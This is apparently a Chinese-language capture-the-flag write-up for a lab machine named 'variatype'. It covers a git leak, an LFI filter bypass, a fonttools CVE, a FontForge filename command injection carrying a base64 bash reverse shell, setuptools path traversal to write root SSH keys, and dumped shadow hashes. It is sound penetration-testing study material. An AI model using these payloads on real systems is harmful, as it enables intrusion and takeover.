基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.129.226.185
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-20 12:44 +0900
Nmap scan report for 10.129.226.185
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_ 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.11 seconds

80

需要加hosts:

1
10.129.226.185 variatype.htb

字体相关的:

子域名扫描

子域名可以发现一个portal:

1
2
3
$ ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://variatype.htb/" -H "Host: FUZZ.variatype.htb" -fs 169

portal [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 205ms]

portal

添加hosts后访问,需要登录:

目录扫描

目录扫描可以发现portal的git泄漏:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -u http://variatype.htb/

services (Status: 200) [Size: 3339]

$ gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -u http://portal.variatype.htb/

.git (Status: 301) [Size: 169] [--> http://portal.variatype.htb/.git/]
.git/HEAD (Status: 200) [Size: 23]
.git/config (Status: 200) [Size: 143]
.git/index (Status: 200) [Size: 137]
.git/logs/ (Status: 403) [Size: 153]
files (Status: 301) [Size: 169] [--> http://portal.variatype.htb/files/]
index.php (Status: 200) [Size: 2494]

git dump

常规dump代码:

1
$ git-dumper http://portal.variatype.htb/ portal_git

之后在历史commit里得到一组账号密码:

1
2
3
$ git log -p

+ 'gitbot' => 'G1tB0t_Acc3ss_2025!'

portal & fonts

得到的账号密码可以登录portal,看起来就是主站那里生成字体会显示在这里:

回到主站发现需要designspace和ttf文件:

另外可以看到说明用到了fonttools库:

1
Upload your .designspace file and master fonts (.ttf/.otf) to generate a fully compliant variable font. We use the same fonttools engine used by Google Fonts and major foundries.

fonttools可以搜到存在相关漏洞:

但写文件首先需要知道目标路径之类

所以首先先测试字体生成功能:

生成的designspace文件就是xml格式,ttf也是可以用github repo里代码生成,同时上传designspace和生成的两个ttf文件,上传后portal可以下载:

download LFI

download那里存在过滤,双写即可绕过:

后续就是LFI读文件,得到文件路径:

1
2
3
4
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/portal.variatype.htb

root /var/www/portal.variatype.htb/public;

CVE-2025-66034 to www-data

得到文件路径后即可利用CVE-2025-66034,打到www-data:

(这里直接用别人的一键脚本)

from:

www-data to steve

然后常规翻文件,opt里一个bak文件中得到steve的一个文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
variatype> cat /opt/process_client_submissions.bak

#!/bin/bash
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
set -euo pipefail
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"
mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"
log() {
echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }
shopt -s nullglob
EXTENSIONS=(
"*.ttf" "*.otf" "*.woff" "*.woff2"
"*.zip" "*.tar" "*.tar.gz"
"*.sfd"
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
found_any=0
for ext in "${EXTENSIONS[@]}"; do
for file in $ext; do
found_any=1
[[ -f "$file" ]] || continue
[[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }
# Enforce strict naming policy
if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
log "QUARANTINE: Filename contains invalid characters: $file"
mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
continue
log "Processing submission: $file"
if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
font = fontforge.open('$file')
family = getattr(font, 'familyname', 'Unknown')
style = getattr(font, 'fontname', 'Default')
print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
font.close()
except Exception as e:
print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
sys.exit(1)
"; then
log "SUCCESS: Validated $file"
else
log "WARNING: FontForge reported issues with $file"
mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
done
done
if [[ $found_any -eq 0 ]]; then
log "No eligible submissions found."
W400Weight

看起来是定时检查相关目录指定后缀文件,对文件名有校验,然后使用fontforge对文件进行处理

fontforge

检查发现fontforge也存在漏洞:

1
2
3
4
variatype> /usr/local/src/fontforge/build/bin/fontforge -v

ffontforge 20230101
build date: 2025-12-07 11:44 UTC

是文件名中的命令注入,按照步骤一步步操作即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# command base64
echo "bash -i >& /dev/tcp/10.10.14.15/5555 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNS81NTU1IDA+JjEK

# 生成zip
cat > make_exploit.py << 'EOF'
import zipfile
payload = "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNS81NTU1IDA+JjEK"
exploit_filename = f"$(echo {payload}|base64 -d|bash).ttf"
with zipfile.ZipFile('exploit.zip', 'w') as zipf:
zipf.writestr(exploit_filename, "dummy content")
print("exploit.zip created!")
EOF

$ python3 make_exploit.py

# 上传zip
curl http://10.10.14.15:7777/exploit.zip -o /var/www/portal.variatype.htb/public/files/exploit.zip

# 等待任务执行,触发命令注入得到steve

user flag

steve用户桌面得到user.txt:

提权信息

steve可以sudo运行指定python文件,看内容就是调用setuptools通过url安装package

检查版本发现setuptools存在漏洞:

1
2
3
steve@variatype:~$ pip3 list

setuptools 78.1.0

所以就是通过路径遍历写任意文件,例如ssh authorized_keys

提权 & root flag

写authorized_keys,之后root登录即可:

1
2
3
4
5
6
7
# local
mkdir -p root/.ssh
cp ~/.ssh/id_rsa.pub root/.ssh/authorized_keys
python3 -m http.server 7777

# target
sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://10.10.14.15:7777/%2froot%2f.ssh%2fauthorized_keys'

shadow

1
2
root:$y$j9T$U22iZC8ubVYQ.zHw0n1wN.$xTkdl7UZCG8vpE7tECH6aQZeaff07orJSL1G8gzIv9.:20427:0:99999:7:::
steve:$y$j9T$BHBlMR.4E24EbG/z0v.cD.$bjAG20MM2ica3KNyzUldva6VdTIKjk2XqP7IN0Qskh0:20427:0:99999:7:::

参考资料